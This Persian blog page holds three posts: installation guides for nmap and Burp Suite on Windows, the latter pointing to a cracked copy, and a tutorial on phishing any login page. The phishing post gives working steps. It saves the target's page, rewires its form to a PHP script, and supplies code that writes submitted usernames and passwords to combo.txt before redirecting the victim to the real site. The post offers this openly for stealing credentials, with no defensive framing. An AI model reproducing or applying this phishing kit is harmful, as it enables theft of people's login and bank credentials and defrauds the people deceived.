نصب کامل nmap در ویندوز

به نام خدا

با اموزش نصب محبوب ترین انالیزر وب اپلیکیشن ها در ویندوز در خدمتتون هستیم

nmap چیست ؟

وبسایت رسمی https://nmap.org ابزار nmap را به صورت زیر توصیف می‌کند :

انمپ یک ابزار رایگان و متن باز است که برای کاوش و بررسی های امنیتی در شبکه به کار می‌رود . بسیاری از سیستم‌ها و مدیران شبکه نیز این ابزار را برای انجام وظایفی مثل اکتشاف شبکه ، مدیریت برنامه ارتقا سرویس ها و مانیتور میزبان ها یا آپتایم سرویس ها مفید می‌دانند .

انمپ از بسته های خام آیپی (Raw IP Packets) به شیوه ای جدید به منظور تشخیص اینکه چه میزبان هایی در شبکه وجود دارند استفاده می‌کند . اینکه چه سرویس هایی این میزبان ها ارایه می‌کنند . اینکه چه سیستم عاملی بر روی این میزبان ها قرار دارد و چه نوع فایروال بسته استفاده شده و … موارد زیاد دیگری از این دست . انمپ به گونه‌ای طراحی شده است که شبکه‌های بزرگ را به صورت مستقیم اسکن کند ولی در میزبان های کوچک نیز کاربردی می‌باشد . یکی از ویژگی‌های برتر انمپ Nmap این است که بر روی همه سیستم عامل های بزرگ قابل اجرا می‌باشد و کد باینری آن برای تمامی سیستم عامل های بزرگ مثل لینوکس ، اپل و ویندوز موجود است .

اموزش نصب nmap در ویندوز:

این ابزار در سایت رسمی اش موجود است و میتوانیم از انجا دانلود کنیم

پس از طریق لینک زیر به سایت میرویم و با صفحه ای مانند زیر مواجه می شویم

nmap link

که باید از قسمت ویندوز سافت ویر لینکی که مشخص کردیم را دانلود کنیم

سپس مراحل نصب را ادامه دهید حال رابط گرافیکی ان ( znmap ) در منو استارت ظاهر می شود و همچنین میتوانید ان را از طریق cmd هم مانند ترمینال اجرا کنید

اگر سوال یا ابهامی بود حتما در بخش نظرات برای ما ارسال کنید تا پاسخگو باشیم

۰۶ تیر ۰۰ ، ۲۲:۱۹ ۰ نظر

اموزش نصب burp suite در ویندوز

به نام خدا

با اموزش نصب یک ابزار هکینگ دیگه در خدمتتون هستیم

برپ سوئیت ( brup suite ) چیست ؟

برپ یکی از بهترین و برترین ابزار های تست نفوذ وب است که بین هکر ها بسیار محبوب شده و امکانات بسیاری را در اختیار ما می گذارد که در سه سیستم لینوکس مک و ویندوز قابل اجرا ست که تصمیم گرفتیم نحوه نصب ان در ویندوز را توضیح دهیم

نصب brup suit در ویندوز:

برپ با جاوا نوشته شده پس بنابراین باید جاوا را نصب کنیم می توانید نسخه Jdk

را از سایت های ایرانی و سایت اصلی خود جاوا دانلود کنید

سپس وارد سایت زیر شوید و نسخه برپ مخصوص سیستم خود را دانلود کنید

https://portswigger.net/burp

برپ از دو نسخه رایگان و پولی تشکیل شده که نسخه کرک شده ان را میتوانید از سایت

https://soft98.ir

دانلود کنید

و سپس میتوانید برپ را نصب و اجرا کنید

اگر در طول فرایند به مشکلی بر خوردید حتما در بخش نظرات با ما در اشتراک بگذارید تا در سریع ترین زمان پاسخگو باشیم

۰۶ تیر ۰۰ ، ۲۱:۳۴ ۲ نظر

ساخت فیشینگ برای تمام سایت ها

به نام خدا

با آموزش فیشینگ صفحات مختلف وب در خدمت شما هستیم در این روش شما قادرخواهید بود تمام صفحات لاگین رو فیشینگ کنید

فیشینگ چیست ( ویکی پدیا ) ؟

به تلاش برای به دست آوردن اطلاعاتی مانند نام کاربری، گذرواژه، اطلاعات حساب بانکی و مانند آن‌ها از طریق جعل یک وبگاه، آدرس ایمیل و مانند آن‌ها گفته می‌شود.

یا به بیان ساده‌تر هنگامی که شخصی تلاش می‌کند دیگری را فریب دهد تا اطلاعات شخصی او را در اختیارش بگیرد، یک حمله فیشینگ رخ می‌دهد و یک بازار غیرقانونی چند هزار میلیاردی را تشکیل داده است.

ساخت فیشینگ:

سایت تارگت را باز کرده و روی کادری که تمام صفحه را شامل میشود کلیک راست کرده و save as را بزنید تا صفحه مورد نظر دانلود شود.
دقت کنید فایل باید html باشد یعنی پسون .html باشد
نام فایل رو به index تغییر دهید یعنی(index.html)

حالا در هر مسیری که فایل تارگت قرار دارد یک فایل txtایجاد کنید هر نامی که میخواهید قرار دهید مثلا ما نام فایل روcombo قرار میدیم (combo.txt)

اطلاعات در این فایل ذخیره میشه!

یک فایل php ایجاد کنید این فایل همان فایلی است که اطلاعات وارده را ذخیره میکند پس اسم این فایل را فیشینگ یا... قرار ندهید
تکه کد زیر را در فایل وارد کنید فقط به جای combo.txt اسم فایل مورد نظر خودتون رو بزارین:

<?php

Header("Location: http://www.TargetDomain.com");

$handle = fopen("combo.txt", "a");

foreach($_GET as $variable => $value) {

fwrite ($handle, $variable);

fwrite ($handle, $value);

fwrite ($handle, "\r\n");

}

fwrite ($handle, "\r\n");

fclose($handle);

exit;

فایل اصلی html را بازکنید ودنبال تگی به اسم form بگردید. در تگ مقدار action را پیدا کنید و ادرس فایل php رو جایگذاری کنید(دقت کنید ادس باید بین دو دابل کوتیشن باشد(دابل کوتیشن یعنی " ) )

در ادامه همان تگ متود مورد نظر رو به get تغییر دهید چون در این متود اطلاعات از ظریق ادرس بارگزاری میشود(معمولا متود از نوع post هست که اون رو باید تغییر بدین)